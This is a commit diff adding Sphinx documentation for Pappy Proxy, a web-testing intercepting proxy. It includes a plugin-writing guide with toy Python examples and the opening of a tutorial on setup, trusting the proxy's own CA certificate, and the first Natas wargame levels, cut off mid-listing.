Version 0.2.1
This commit is contained in:
parent
26376eaaec
commit
2837e9053a
61 changed files with 24035 additions and 360 deletions
25
docs/build/html/_sources/index.txt
vendored
Normal file
25
docs/build/html/_sources/index.txt
vendored
Normal file
|
@ -0,0 +1,25 @@
|
|||
.. Pappy Proxy documentation master file, created by
|
||||
sphinx-quickstart on Sat Dec 12 11:17:09 2015.
|
||||
You can adapt this file completely to your liking, but it should at least
|
||||
contain the root `toctree` directive.
|
||||
|
||||
Welcome to Pappy Proxy's documentation!
|
||||
=======================================
|
||||
|
||||
Contents:
|
||||
|
||||
.. toctree::
|
||||
:maxdepth: 2
|
||||
|
||||
overview
|
||||
tutorial
|
||||
pappyplugins
|
||||
|
||||
|
||||
Indices and tables
|
||||
==================
|
||||
|
||||
* :ref:`genindex`
|
||||
* :ref:`modindex`
|
||||
* :ref:`search`
|
||||
|
7
docs/build/html/_sources/modules.txt
vendored
Normal file
7
docs/build/html/_sources/modules.txt
vendored
Normal file
|
@ -0,0 +1,7 @@
|
|||
pappyproxy
|
||||
==========
|
||||
|
||||
.. toctree::
|
||||
:maxdepth: 4
|
||||
|
||||
pappyproxy
|
1196
docs/build/html/_sources/overview.txt
vendored
Normal file
1196
docs/build/html/_sources/overview.txt
vendored
Normal file
File diff suppressed because it is too large
Load diff
450
docs/build/html/_sources/pappyplugins.txt
vendored
Normal file
450
docs/build/html/_sources/pappyplugins.txt
vendored
Normal file
|
@ -0,0 +1,450 @@
|
|||
Writing Plugins for the Pappy Proxy
|
||||
***********************************
|
||||
|
||||
.. contents:: Table of Contents
|
||||
:local:
|
||||
|
||||
Introduction
|
||||
============
|
||||
|
||||
Are macros not powerful enough? Want to make something reusable? Want to add console commands?! Then you might want to write yourself a plugin. Some quick highlights about plugins:
|
||||
|
||||
* Python scripts stored in ``~/.pappy/plugins``
|
||||
* Can add console commands
|
||||
* For actions which aren't specific to one project
|
||||
* Harder to write than macros
|
||||
|
||||
Since macros can also use the plugin API, plugins aren't any more powerful than macros (besides adding console commands). However, if you find yourself copying a useful macro to more than one project, it may be worth it to just bind it to some commands, put the script in one place, and stop worrying about copying it around. Plus then you can put it on GitHub for some sweet sweet nerd cred.
|
||||
|
||||
Should I Write a Plugin or a Macro?
|
||||
-----------------------------------
|
||||
A lot of the time, you can get away with writing a macro. However, you may consider writing a plugin if:
|
||||
|
||||
* You find yourself copying one macro to multiple projects
|
||||
* You want to write a general tool that can be applied to any website
|
||||
* You need to maintain state during the Pappy session
|
||||
|
||||
My guess is that if you need one quick thing for a project, you're better off writing a macro first and seeing if you end up using it in future projects. Then if you find yourself needing it a lot, write a plugin for it. You may also consider keeping a ``mine.py`` plugin where you can write out commands that you use regularly but may not be worth creating a dedicated plugin for.
|
||||
|
||||
Plugins Get Merged
|
||||
------------------
|
||||
If you write a useful plugin, as long as it isn't uber niche, I'll try and merge it into the core project.
|
||||
|
||||
Creating a Plugin
|
||||
=================
|
||||
Whenever you make a macro, you'll have to bind some functions to some console commands. To do this, you'll have to define a ``load_cmds`` function in your plugin. This function should take one argument. When the plugin is loaded, this function will be called and the console object will be passed to this function. You can then use ``set_cmds`` and ``add_aliases`` to bind functions to console commands.
|
||||
|
||||
Writing a Hello World Plugin
|
||||
----------------------------
|
||||
It's probably easiest to explain how to write a plugin by writing one. Here is a simple plugin that defines a ``hello`` command and gives an alias ``hlo`` (we'll go over all the parts in a second)::
|
||||
|
||||
## hello.py
|
||||
|
||||
def hello_world(line):
|
||||
print "Hello, world!"
|
||||
|
||||
###############
|
||||
## Plugin hooks
|
||||
|
||||
def load_cmds(cmd):
|
||||
cmd.set_cmds({
|
||||
'hello': (hello_world, None),
|
||||
})
|
||||
cmd.add_aliases([
|
||||
('hello', 'hlo'),
|
||||
])
|
||||
|
||||
Save this as ``~/.pappy/plugins/hello.py`` and run Pappy. You should have a new ``hello`` command that prints your message::
|
||||
|
||||
$ cp hello.py ~/.pappy/plugins/
|
||||
$ pappy -l
|
||||
Temporary datafile is /tmp/tmp1Myw6q
|
||||
Proxy is listening on port 8000
|
||||
pappy> hello
|
||||
Hello, world!
|
||||
pappy> hlo
|
||||
Hello, world!
|
||||
pappy>
|
||||
|
||||
Awesome! So let's go over the code. Here are the important parts of the code:
|
||||
|
||||
* We define a function that we want to call
|
||||
* We define ``load_cmds(cmd)`` to be called when our plugin is loaded to bind our function to a command
|
||||
* We use ``cmd.set_cmds`` to set all our commands
|
||||
* We use ``cmd.add_aliases`` to add aliases for commands
|
||||
|
||||
Now let's go over it in detail
|
||||
|
||||
Passing Arguments to Your Function
|
||||
----------------------------------
|
||||
|
||||
Each command gets bound to one function which takes one argument. That argument is all the text that was entered after the name of the command in the console. For example if we run ``hello foo bar``, in our function line would be "foo bar". **I suggest using shlex.split(line) to parse multiple arguments**. So let's update our script to take some arguments::
|
||||
|
||||
## hello.py
|
||||
import shlex
|
||||
|
||||
def hello_world(line):
|
||||
if line:
|
||||
args = shlex.split(line)
|
||||
print 'Hello, %s!' % (', '.join(args))
|
||||
else:
|
||||
print "Hello, world!"
|
||||
|
||||
###############
|
||||
## Plugin hooks
|
||||
|
||||
def load_cmds(cmd):
|
||||
cmd.set_cmds({
|
||||
'hello': (hello_world, None),
|
||||
})
|
||||
cmd.add_aliases([
|
||||
('hello', 'hlo'),
|
||||
])
|
||||
|
||||
Save your changes and restart pappy to reload the plugin::
|
||||
|
||||
$ pappy -l
|
||||
Temporary datafile is /tmp/tmpBOXyJ3
|
||||
Proxy is listening on port 8000
|
||||
pappy> hello
|
||||
Hello, world!
|
||||
pappy> hello foo bar baz
|
||||
Hello, foo, bar, baz!
|
||||
pappy> hello foo bar "baz lihtyur"
|
||||
Hello, foo, bar, baz lihtyur!
|
||||
pappy>
|
||||
|
||||
Adding More Aliases
|
||||
-------------------
|
||||
|
||||
So now let's add some more aliases to our command. If we want to add a new alias, we just add another tuple to the list passed into ``cmd.add_aliases``. The first element is the real name of the command (what you set with ``set_cmds``) and the second value is the alias you want to type. So let's make it so we can just type ``ho`` to say hello::
|
||||
|
||||
## hello.py
|
||||
import shlex
|
||||
|
||||
def hello_world(line):
|
||||
if line:
|
||||
args = shlex.split(line)
|
||||
print 'Hello, %s!' % (', '.join(args))
|
||||
else:
|
||||
print "Hello, world!"
|
||||
|
||||
###############
|
||||
## Plugin hooks
|
||||
|
||||
def load_cmds(cmd):
|
||||
cmd.set_cmds({
|
||||
'hello': (hello_world, None),
|
||||
})
|
||||
cmd.add_aliases([
|
||||
('hello', 'hlo'),
|
||||
('hello', 'ho'),
|
||||
])
|
||||
|
||||
.. note::
|
||||
|
||||
You must use the actual name of the command that you used in ``set_cmds``. You can't "chain" alieases. As a result, in our example we couldn't add the alias ``('hlo', 'ho')`` to add ``ho`` as our alias.
|
||||
|
||||
Then reload the plugin::
|
||||
|
||||
$ pappy -l
|
||||
Temporary datafile is /tmp/tmpBOXyJ3
|
||||
Proxy is listening on port 8000
|
||||
pappy> ho
|
||||
Hello, world!
|
||||
pappy> ho foo bar baz
|
||||
Hello, foo, bar, baz!
|
||||
pappy> ho foo bar "baz lihtyur"
|
||||
Hello, foo, bar, baz lihtyur!
|
||||
pappy>
|
||||
|
||||
Adding Another Command
|
||||
----------------------
|
||||
So now let's add a ``robe_and_wizard_hat`` command. To do this, we will define another function, then add another entry in the dict that is passed to ``set_cmds``. The second value in the tuple is the autocomplete function, but we'll get to that later. For now, just put in ``None`` to say we don't have one. We will also add a ``wh`` alias to it::
|
||||
|
||||
$ pappy -l
|
||||
Temporary datafile is /tmp/tmpyl2cEZ
|
||||
Proxy is listening on port 8000
|
||||
pappy> wh
|
||||
I put on my robe and wizard hat
|
||||
pappy>
|
||||
|
||||
Adding Autocompletion
|
||||
---------------------
|
||||
You can also define a function to handle autocompletion for your command. In order to do this, you define a function that takes 4 arguments: ``text``, ``line``, ``begidx``, and ``endidx``. From the `Cmd docs <https://docs.python.org/2/library/cmd.html>`_, this is what the arguments mean:
|
||||
|
||||
``text`` is the string prefix we are attempting to match: all returned matches must begin with it. ``line`` is the current input line with leading whitespace removed, ``begidx`` and ``endidx`` are the beginning and ending indexes of the prefix text, which could be used to provide different completion depending upon which position the argument is in.
|
||||
|
||||
Let's let the user to autocomplete some names in our plugin::
|
||||
|
||||
import shlex
|
||||
|
||||
_AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor']
|
||||
|
||||
def hello_world(line):
|
||||
if line:
|
||||
args = shlex.split(line)
|
||||
print 'Hello, %s!' % (', '.join(args))
|
||||
else:
|
||||
print "Hello, world!"
|
||||
|
||||
def put_on_rope_and_wizard_hat(line):
|
||||
if line:
|
||||
print '%s puts on their robe and wizard hat' % line
|
||||
else:
|
||||
print 'I put on my robe and wizard hat'
|
||||
|
||||
def complete_hello_world(text, line, begidx, endidx):
|
||||
return [n for n in _AUTOCOMPLETE_NAMES if n.startswith(text)]
|
||||
|
||||
###############
|
||||
## Plugin hooks
|
||||
|
||||
def load_cmds(cmd):
|
||||
cmd.set_cmds({
|
||||
'hello': (hello_world, complete_hello_world),
|
||||
'wizard_hat': (put_on_rope_and_wizard_hat, None),
|
||||
})
|
||||
cmd.add_aliases([
|
||||
('hello', 'hlo'),
|
||||
('wizard_hat', 'wh'),
|
||||
])
|
||||
|
||||
Then restart and run::
|
||||
|
||||
$ pappy -l
|
||||
Temporary datafile is /tmp/tmp3J97rE
|
||||
Proxy is listening on port 8000
|
||||
pappy> hello
|
||||
alice allie mallory sarah slagathor
|
||||
pappy> hello allie
|
||||
Hello, allie!
|
||||
pappy>
|
||||
|
||||
You can't see it, but I hit tab twice after typing hello to get the completions to appear.
|
||||
|
||||
Adding Help
|
||||
-----------
|
||||
Now let's say we want to add some help to the command so that when the user runs ``help hello`` they get something useful. To do that, just add a docstring to your function::
|
||||
|
||||
import shlex
|
||||
|
||||
_AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor']
|
||||
|
||||
def hello_world(line):
|
||||
"""
|
||||
Say hello to the world. Usage: hello [name]
|
||||
"""
|
||||
|
||||
if line:
|
||||
args = shlex.split(line)
|
||||
print 'Hello, %s!' % (', '.join(args))
|
||||
else:
|
||||
print "Hello, world!"
|
||||
|
||||
def put_on_rope_and_wizard_hat(line):
|
||||
if line:
|
||||
print '%s puts on their robe and wizard hat' % line
|
||||
else:
|
||||
print 'I put on my robe and wizard hat'
|
||||
|
||||
def complete_hello_world(text, line, begidx, endidx):
|
||||
return [n for n in _AUTOCOMPLETE_NAMES if n.startswith(text)]
|
||||
|
||||
###############
|
||||
## Plugin hooks
|
||||
|
||||
def load_cmds(cmd):
|
||||
cmd.set_cmds({
|
||||
'hello': (hello_world, complete_hello_world),
|
||||
'wizard_hat': (put_on_rope_and_wizard_hat, None),
|
||||
})
|
||||
cmd.add_aliases([
|
||||
('hello', 'hlo'),
|
||||
('wizard_hat', 'wh'),
|
||||
])
|
||||
Using defer.inlineCallbacks With a Command
|
||||
------------------------------------------
|
||||
|
||||
.. note::
|
||||
If you are using inlineCallbacks, you can't use any functions which are blocking versions of async functions. For example, you cannot use :func:`pappyproxy.http.Request.save` and must instead use :func:`pappyproxy.http.Request.async_deep_save`.
|
||||
|
||||
.. note::
|
||||
This tutorial won't tell you how to use inlineCallbacks in general. Type "twisted inline callbacks" into google to figure out what they are. This is mainly just a reminder to use the ``crochet`` wrapper for console commands and warning you that some functions may return deferreds that you may have to deal with.
|
||||
|
||||
Since you're writing a plugin, you'll probably be using functions which return a deferred. And to keep things readable, you'll want to use the ``defer.inlineCallbacks`` function wrapper. Unfortunately, you can't bind async functions to commands. Luckily, there's a library called `crochet <https://pypi.python.org/pypi/crochet>`_ which lets you add another wrapper to the function that lets it be used like a blocking function. Rather than talking about it, let's write a plugin to call :func:`pappyproxy.console.load_reqlist` to print out some requests' hosts. Let's start by pretending it's a normal function::
|
||||
|
||||
import shlex
|
||||
from pappyproxy.console import load_reqlist
|
||||
|
||||
def print_hosts(line):
|
||||
args = shlex.split(line)
|
||||
reqs = load_reqlist(args[0]) # It's supposed to return a list of requests, right?
|
||||
for r in reqs:
|
||||
print 'The host for request %s is: %s' % (r.reqid, r.host)
|
||||
|
||||
###############
|
||||
## Plugin hooks
|
||||
|
||||
def load_cmds(cmd):
|
||||
cmd.set_cmds({
|
||||
'print_hosts': (print_hosts, None),
|
||||
})
|
||||
cmd.add_aliases([
|
||||
])
|
||||
|
||||
And we run it::
|
||||
|
||||
pappy> print_hosts 1
|
||||
Traceback (most recent call last):
|
||||
File "/usr/local/lib/python2.7/dist-packages/cmd2.py", line 788, in onecmd_plus_hooks
|
||||
stop = self.onecmd(statement)
|
||||
File "/usr/local/lib/python2.7/dist-packages/cmd2.py", line 871, in onecmd
|
||||
stop = func(statement)
|
||||
File "/home/supahacker/pappy/pappyproxy/console.py", line 15, in catch
|
||||
func(*args, **kwargs)
|
||||
File "/home/supahacker/.pappy/plugins/hosts.py", line 7, in print_hosts
|
||||
for r in reqs:
|
||||
TypeError: iteration over non-sequence
|
||||
iteration over non-sequence
|
||||
pappy>
|
||||
|
||||
Iteration over a non-sequence? what? Well, :func:`pappyproxy.console.load_reqlist` doesn't actually return a list of requests. It returns a deferred which returns a list of requests. I'm not going into the details (look up some stuff on using inline callbacks with Twisted if you want more info), but the way to fix it is to slap an ``inlineCallbacks`` wrapper on the function and ``yield`` the result of the function. Now it looks like this::
|
||||
|
||||
import shlex
|
||||
from pappyproxy.console import load_reqlist
|
||||
from twisted.internet import defer
|
||||
|
||||
@defer.inlineCallbacks
|
||||
def print_hosts(line):
|
||||
args = shlex.split(line)
|
||||
reqs = yield load_reqlist(args[0])
|
||||
for r in reqs:
|
||||
print 'The host for request %s is: %s' % (r.reqid, r.host)
|
||||
|
||||
###############
|
||||
## Plugin hooks
|
||||
|
||||
def load_cmds(cmd):
|
||||
cmd.set_cmds({
|
||||
'print_hosts': (print_hosts, None),
|
||||
})
|
||||
cmd.add_aliases([
|
||||
])
|
||||
|
||||
However, the console assumes that any functions it calls will be blocking. As a result, we need to add the ``crochet.wait_for`` wrapper::
|
||||
|
||||
import shlex
|
||||
import crochet
|
||||
from pappyproxy.console import load_reqlist
|
||||
from twisted.internet import defer
|
||||
|
||||
@crochet.wait_for(timeout=None)
|
||||
@defer.inlineCallbacks
|
||||
def print_hosts(line):
|
||||
args = shlex.split(line)
|
||||
reqs = yield load_reqlist(args[0])
|
||||
for r in reqs:
|
||||
print 'The host for request %s is: %s' % (r.reqid, r.host)
|
||||
|
||||
###############
|
||||
## Plugin hooks
|
||||
|
||||
def load_cmds(cmd):
|
||||
cmd.set_cmds({
|
||||
'print_hosts': (print_hosts, None),
|
||||
})
|
||||
cmd.add_aliases([
|
||||
])
|
||||
|
||||
And now we're good! If you run it without the crochet wrapper, it may still work. However, since the console assumes any functions it calls will be blocking, not having the wrapper could lead to weird errors.
|
||||
|
||||
Plugin API
|
||||
==========
|
||||
There are also some useful functions that you can use to interact with the request history and the context. It's somewhat limited for now, but for now you can at least look through history and create/send new requests. Hopefully the API will expand as people find themselves wanting to do new things. That means **if you're writing a plugin, let me know and I'll add any APIs you need**. For now at least, plugins will let you maintain state over the course of the session and let you define commands.
|
||||
|
||||
The best way to learn what you can do is to go through the :ref:`pappyproxy-package` and look at all the available functions.
|
||||
|
||||
API Functions
|
||||
-------------
|
||||
See :mod:`pappyproxy.plugin` for docs on all the functions you can use. You can also use any of the functions provided for writing macros (and vice-versa).
|
||||
|
||||
Storing Data on Disk
|
||||
--------------------
|
||||
Unfortunately, you're on your own if you want to store plugin specific stuff on disk. It's also important that you store any data that is specific to a project in the same directory as the data file. This is to make sure that if you encrypt your project folder, you can be sure that no sensitive data about the test can be found anywhere else. The only time you should store anything outside of the current directory is to store global plugin settings, and even then it would probably be better to parse options from ``config.config_dict``. Pappy doesn't even store data outside of the project directory except for its CA certificates.
|
||||
|
||||
However, if your plugin is a special snowflake that needs to store unencrypted, global settings, you should create a directory for your plugin in ``{config.DATA_DIR}/plugindata`` and put your files there. But again, avoid this if you can.
|
||||
|
||||
.. note::
|
||||
Any project-specific data (ie anything that contains info about requests) should be stored in the project directory unless you have a really really good reason. This is because it must be possible to secure any sensitive data by encrypting the project folder and storing data outside of the directory will add complications.
|
||||
|
||||
.. warning::
|
||||
Do not modify the data file schema. There is a good chance the schema will break in future versions of Pappy.
|
||||
|
||||
Storing Custom Request Metadata
|
||||
-------------------------------
|
||||
:class:`pappyproxy.http.Request` objects have a ``plugin_data`` attribute. It is a dictionary that is intended to be used by plugins to give the request custom metadata. If you want to store metadata about a request, it is suggested that you add a key to this dictionary and store any metadata you want under that key. You can use :func:`pappyproxy.http.Request.get_plugin_dict` to get a dictionary for a specific name. It will create an entry for that name if it doesn't exist. I also suggest defining a function plugin-wide for getting the plugin's data dict from a specific request. Since dictionaries are always passed by reference, any modifications you make to the returned dict will be applied to the request as well.
|
||||
|
||||
.. note::
|
||||
You will need to save the request using something like :func:`pappyproxy.http.Request.save` or :func:`pappyproxy.http.Request.async_deep_save` in order to store the changes in the data file.
|
||||
|
||||
Here is an example plugin for storing the user-agent (if it exists) in the ``plugin_data`` dict of a request under the key ``agent``::
|
||||
|
||||
import crochet
|
||||
import shlex
|
||||
from twisted.internet import defer
|
||||
|
||||
from pappyproxy.console import load_reqlist
|
||||
from pappyproxy.plugin import main_context
|
||||
from pappyproxy.util import PappyException
|
||||
|
||||
DATA_KEY = 'agent'
|
||||
|
||||
def get_data(r):
|
||||
return r.get_plugin_dict(DATA_KEY)
|
||||
|
||||
@crochet.wait_for(timeout=None)
|
||||
@defer.inlineCallbacks
|
||||
def update_agent_metadata(line):
|
||||
for r in main_context().active_requests:
|
||||
if 'user-agent' in r.headers:
|
||||
get_data(r)['agent'] = r.headers['user-agent']
|
||||
yield r.async_deep_save()
|
||||
|
||||
@crochet.wait_for(timeout=None)
|
||||
@defer.inlineCallbacks
|
||||
def view_agent(line):
|
||||
args = shlex.split(line)
|
||||
reqs = yield load_reqlist(args[0])
|
||||
for r in reqs:
|
||||
if 'agent' in get_data(r):
|
||||
print 'The user agent for %s is "%s"' % (r.reqid, get_data(r)['agent'])
|
||||
else:
|
||||
print 'Request %s has no user agent data' % r.reqid
|
||||
|
||||
###############
|
||||
## Plugin hooks
|
||||
|
||||
def load_cmds(cmd):
|
||||
cmd.set_cmds({
|
||||
'agent_update': (update_agent_metadata, None),
|
||||
'view_agent': (view_agent, None),
|
||||
})
|
||||
cmd.add_aliases([
|
||||
])
|
||||
|
||||
Useful Functions
|
||||
----------------
|
||||
* Load a request by id: :func:`pappyproxy.http.Request.load_request`
|
||||
* Create a filter from a filter string: :func:`pappyproxy.context.Filter.from_filter_string`
|
||||
|
||||
Built In Plugins As Examples
|
||||
============================
|
||||
|
||||
Built In Plugins
|
||||
----------------
|
||||
All the commands in Pappy are implemented as plugins. I have done what I could to avoid using internal functions as much as I could, but there are still some instances where I had to implement an internal function in order to get the functions I needed. However, you can still look them over to see how things are structured and see some examples of semi-complicated plugins.
|
||||
|
||||
Interceptor and Repeater
|
||||
------------------------
|
||||
Pappy's interceptor and repeater are fully implemented as a plugin. It defines an intercepting macro that handles saving then editing messages and commands that read those files and edit them. It relies on Twisted to switch between the macro handling the request and the command modifying it, so if you want to make something similar, you'll have to learn how to use deferreds.
|
129
docs/build/html/_sources/pappyproxy.txt
vendored
Normal file
129
docs/build/html/_sources/pappyproxy.txt
vendored
Normal file
|
@ -0,0 +1,129 @@
|
|||
pappyproxy package
|
||||
==================
|
||||
|
||||
Subpackages
|
||||
-----------
|
||||
|
||||
.. toctree::
|
||||
|
||||
pappyproxy.plugins
|
||||
pappyproxy.schema
|
||||
pappyproxy.templates
|
||||
pappyproxy.tests
|
||||
pappyproxy.vim_repeater
|
||||
|
||||
Submodules
|
||||
----------
|
||||
|
||||
pappyproxy.comm module
|
||||
----------------------
|
||||
|
||||
.. automodule:: pappyproxy.comm
|
||||
:members:
|
||||
:undoc-members:
|
||||
:show-inheritance:
|
||||
|
||||
pappyproxy.config module
|
||||
------------------------
|
||||
|
||||
.. automodule:: pappyproxy.config
|
||||
:members:
|
||||
:undoc-members:
|
||||
:show-inheritance:
|
||||
|
||||
pappyproxy.console module
|
||||
-------------------------
|
||||
|
||||
.. automodule:: pappyproxy.console
|
||||
:members:
|
||||
:undoc-members:
|
||||
:show-inheritance:
|
||||
|
||||
pappyproxy.context module
|
||||
-------------------------
|
||||
|
||||
.. automodule:: pappyproxy.context
|
||||
:members:
|
||||
:undoc-members:
|
||||
:show-inheritance:
|
||||
|
||||
pappyproxy.http module
|
||||
----------------------
|
||||
|
||||
.. automodule:: pappyproxy.http
|
||||
:members:
|
||||
:undoc-members:
|
||||
:show-inheritance:
|
||||
|
||||
pappyproxy.iter module
|
||||
----------------------
|
||||
|
||||
.. automodule:: pappyproxy.iter
|
||||
:members:
|
||||
:undoc-members:
|
||||
:show-inheritance:
|
||||
|
||||
pappyproxy.macros module
|
||||
------------------------
|
||||
|
||||
.. automodule:: pappyproxy.macros
|
||||
:members:
|
||||
:undoc-members:
|
||||
:show-inheritance:
|
||||
|
||||
pappyproxy.pappy module
|
||||
-----------------------
|
||||
|
||||
.. automodule:: pappyproxy.pappy
|
||||
:members:
|
||||
:undoc-members:
|
||||
:show-inheritance:
|
||||
|
||||
pappyproxy.plugin module
|
||||
------------------------
|
||||
|
||||
.. automodule:: pappyproxy.plugin
|
||||
:members:
|
||||
:undoc-members:
|
||||
:show-inheritance:
|
||||
|
||||
pappyproxy.proxy module
|
||||
-----------------------
|
||||
|
||||
.. automodule:: pappyproxy.proxy
|
||||
:members:
|
||||
:undoc-members:
|
||||
:show-inheritance:
|
||||
|
||||
pappyproxy.repeater module
|
||||
--------------------------
|
||||
|
||||
.. automodule:: pappyproxy.repeater
|
||||
:members:
|
||||
:undoc-members:
|
||||
:show-inheritance:
|
||||
|
||||
pappyproxy.session module
|
||||
-------------------------
|
||||
|
||||
.. automodule:: pappyproxy.session
|
||||
:members:
|
||||
:undoc-members:
|
||||
:show-inheritance:
|
||||
|
||||
pappyproxy.util module
|
||||
----------------------
|
||||
|
||||
.. automodule:: pappyproxy.util
|
||||
:members:
|
||||
:undoc-members:
|
||||
:show-inheritance:
|
||||
|
||||
|
||||
Module contents
|
||||
---------------
|
||||
|
||||
.. automodule:: pappyproxy
|
||||
:members:
|
||||
:undoc-members:
|
||||
:show-inheritance:
|
720
docs/build/html/_sources/tutorial.txt
vendored
Normal file
720
docs/build/html/_sources/tutorial.txt
vendored
Normal file
|
@ -0,0 +1,720 @@
|
|||
The Pappy Proxy Tutorial
|
||||
************************
|
||||
|
||||
.. contents:: Table of Contents
|
||||
:local:
|
||||
|
||||
Getting Set Up
|
||||
==============
|
||||
|
||||
Introduction
|
||||
------------
|
||||
This is a quick tutorial to get you started using Pappy like a pro. To do this, we'll be going through from `Natas <http://overthewire.org/wargames/natas/>`_. If you haven't done it yet and don't want it spoiled, I suggest giving it a try with Burp since we'll be telling you all the answers right off the bat.
|
||||
|
||||
Getting Started
|
||||
---------------
|
||||
The first thing you'll need to do is get Pappy installed.
|
||||
|
||||
Install from pypi::
|
||||
|
||||
$ pip install pappy
|
||||
|
||||
or install from source::
|
||||
|
||||
$ git clone --recursive https://github.com/roglew/pappy-proxy.git
|
||||
$ cd pappy-proxy
|
||||
$ pip install .
|
||||
|
||||
.. note::
|
||||
|
||||
Pappy only supports OS X and Linux! Nothing will work on Windows, sorry!
|
||||
|
||||
|
||||
That was easy! Make a project directory anywhere for Natas and fire up Pappy.::
|
||||
|
||||
$ mkdir natas
|
||||
$ cd natas
|
||||
Copying default config to ./config.json
|
||||
Proxy is listening on port 8000
|
||||
pappy>
|
||||
|
||||
If you look at what's in the directory, you'll notice that there's a ``data.db`` file and a ``config.json`` file.
|
||||
|
||||
* ``data.db`` is a SQLite file that stores all the (in-scope) requests that pass through the proxy
|
||||
* ``config.json`` stores settings for the proxy
|
||||
|
||||
You don't need to touch either of these right now. Just hop back into Pappy.
|
||||
|
||||
Installing Pappy's CA Cert
|
||||
--------------------------
|
||||
In order to intercept HTTPS requests, you'll need to add a CA cert to your browser. Installing the cert allows Pappy to act like a certificate authority and sign certificates for whatever it wants without your browser complaining.
|
||||
|
||||
To generate certificates, you'll use the ``gencerts`` command. This will generate certificates in Pappy's directory. By default, all projects will use the certs in this directory, so you should only have to generate/install the certificates once.::
|
||||
|
||||
pappy> gencerts
|
||||
This will overwrite any existing certs in /home/anonymouse/pappy/pappyproxy/certs. Are you sure?
|
||||
(y/N) y
|
||||
Generating certs to /home/anonymouse/pappy/pappyproxy/certs
|
||||
Generating private key... Done!
|
||||
Generating client cert... Done!
|
||||
pappy>
|
||||
|
||||
The directory that the certs get put in may be different for you. Next, you'll need to add the generated ``certificate.crt`` file to your browser. This is different for each browser.
|
||||
|
||||
Installing the Cert in Firefox
|
||||
++++++++++++++++++++++++++++++
|
||||
1. Open Firefox
|
||||
2. Go to ``Preferences -> Advanced -> View Certificates -> Authorities``
|
||||
3. Click ``Import``
|
||||
4. Navigate to the directory where the certs were generated and double click ``certificate.crt``
|
||||
|
||||
Installing the Cert in Chrome
|
||||
+++++++++++++++++++++++++++++
|
||||
1. Open Chrome
|
||||
2. Go to ``Preferences -> Show advanced settings -> HTTPS/SSL -> Manage Certificates -> Authorities``
|
||||
3. Click ``Import``
|
||||
4. Navigate to the directory where the certs were generated and double click ``certificate.crt``
|
||||
|
||||
Installing the Cert in Safari
|
||||
+++++++++++++++++++++++++++++
|
||||
1. Use Finder to navigate to the directory where the certs were generated
|
||||
2. Double click the cert and follow the prompts to add it to your system keychain
|
||||
|
||||
Installing the Cert in Internet Explorer
|
||||
++++++++++++++++++++++++++++++++++++++++
|
||||
1. No.
|
||||
|
||||
Configuring Your Browser
|
||||
------------------------
|
||||
Next, you need to configure your browser to use the proxy. This is generally done using a browser extension. This tutorial won't cover how to configure these plugins. Pappy runs on localhost on port 8000. This can be changed in ``config.json``, but don't worry about that right now.
|
||||
|
||||
.. note::
|
||||
Configure your browser extension to use the proxy server at **loalhost** on **port 8000**
|
||||
|
||||
Here are some proxy plugins that should work
|
||||
|
||||
* Firefox: `FoxyProxy <https://addons.mozilla.org/en-us/firefox/addon/foxyproxy-standard/>`_
|
||||
* Chrome: `Proxy SwitchySharp <https://chrome.google.com/webstore/detail/proxy-switchysharp/dpplabbmogkhghncfbfdeeokoefdjegm?hl=en>`_
|
||||
|
||||
Testing it Out
|
||||
--------------
|
||||
Start up Pappy in Lite mode by running ``pappy -l``, enable the proxy in your browser, then navigate to a website::
|
||||
|
||||
/pappynatas/ $ pappy -l
|
||||
Temporary datafile is /tmp/tmp5AQBrH
|
||||
Proxy is listening on port 8000
|
||||
pappy> ls
|
||||
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
|
||||
8 GET vitaly.sexy /favicon.ico 404 Not Found 0 114 0.21 --
|
||||
7 GET vitaly.sexy /favicon.ico 404 Not Found 0 114 0.22 --
|
||||
6 GET vitaly.sexy /esr1.jpg 200 OK 0 17653 0.29 --
|
||||
5 GET vitaly.sexy /netscape.gif 200 OK 0 1135 0.22 --
|
||||
4 GET vitaly.sexy /construction.gif 200 OK 0 28366 0.26 --
|
||||
3 GET vitaly.sexy /vitaly2.jpg 200 OK 0 2034003 1.34 --
|
||||
2 GET vitaly.sexy / 200 OK 0 1201 0.21 --
|
||||
1 GET vitaly.sexy / 301 Moved Permanently 0 178 0.27 --
|
||||
pappy> quit
|
||||
Deleting temporary datafile
|
||||
|
||||
Make sure that the request you made appears on the list. When you quit, the temporary data file will be deleted, so no cleanup will be required!
|
||||
|
||||
The Tutorial
|
||||
============
|
||||
|
||||
Setting the Scope
|
||||
-----------------
|
||||
The first thing we'll do is set up Pappy so that it only intercepts requests going to ``*.natas.labs.overthewire.org``::
|
||||
|
||||
pappy> filter host containsr "natas\.labs\.overthewire\.org$"
|
||||
pappy> scope_save
|
||||
|
||||
What these commands do:
|
||||
|
||||
1. Make the current context only include requests whose host ends in ``natas.labs.overthewire.org``.
|
||||
2. Save the current context as the scope
|
||||
|
||||
The context is basically requests that pass a list of rules. In this case, we have one rule that says that in order for a request to be in the current context, it must pass the regexp ``natas\.labs\.overthewire\.org$``. When we save the scope, we're saying that any request that doesn't pass this regexp is out of scope and shouldn't be touched.
|
||||
|
||||
If this doesn't make sense, don't worry, we'll come back to this.
|
||||
|
||||
Natas 0
|
||||
-------
|
||||
First, go to `<http://natas0.natas.labs.overthewire.org>`_ and log in with the default creds of ``natas0`` / ``natas0``. You should see a site that says "You can find the password for the next level on this page". You don't need Pappy for this one.
|
||||
|
||||
1. Right click the page and select "view source"
|
||||
2. Read the password for natas1
|
||||
3. Visit `<http://natas1.natas.labs.overthewire.org>`_ and log in with the username ``natas1`` and the password you found.
|
||||
|
||||
Natas 1
|
||||
-------
|
||||
Haha! This is the same as natas0, but they got tricky and shut off right-clicking. There's still ways to view the source in the browser, but we'll use Pappy here. The commands we'll learn here are ``ls``, ``vfq``, and ``vfs``.
|
||||
|
||||
* ``ls`` lists the most current requests that are in the current context. You'll be using this a lot to get the IDs of requests you want to do things with.
|
||||
* ``vfq <reqid>`` prints the full request of a request you specify
|
||||
* ``vfs <reqid>`` prints the full response to a request you specify
|
||||
|
||||
So to solve natas1, we'll want to view the full response to our request to the page::
|
||||
|
||||
pappy> ls
|
||||
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
|
||||
16 GET natas1.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
|
||||
15 GET natas1.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
|
||||
